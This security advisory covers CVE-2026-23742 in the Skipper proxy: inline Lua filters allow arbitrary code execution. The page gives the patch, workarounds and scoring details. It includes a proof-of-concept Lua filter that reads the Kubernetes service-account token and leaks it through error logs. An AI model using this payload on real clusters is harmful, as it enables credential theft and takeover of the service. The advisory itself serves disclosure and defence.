Skipper is vulnerable to arbitrary code execution through lua filters

CVE-2026-23742 → View on GitHub ↗ View on CVE.org ↗ View on NVD ↗

Description

Impact

Arbitrary code execution through lua filters.

The default skipper configuration before v0.23 was -lua-sources=inline,file.
The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.

Kubernetes example (vulnerability is not limited to Kubernetes)

function request(ctx, params)
  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
  if file then
    local token = file:read('*all')
    file:close()
    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs
  end
end

Patches

https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.

Workarounds

You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.

References

https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-01-16 21:03:34 UTC
Updated
2026-01-17 13:19:17 UTC
GitHub reviewed
2026-01-16 21:03:34 UTC
NVD published
2026-01-16

EPSS Score

Score Percentile
0.03% 6.57%

CVSS Scores

Base score Version Severity Vector
8.8 3.1 —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

Type Value
GHSA GHSA-cc8m-98fm-rc9g ↗
CVE CVE-2026-23742 ↗

CWEs

CWE id Name
CWE-94 Improper Control of Generation of Code ('Code Injection')
CWE-250 Execution with Unnecessary Privileges
CWE-522 Insufficiently Protected Credentials

Credits

  • moyushui (reporter)
  • b0b0haha (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/zalando/skipper < 0.23.0 0.23.0 —

References

cvelogic Threat Intelligence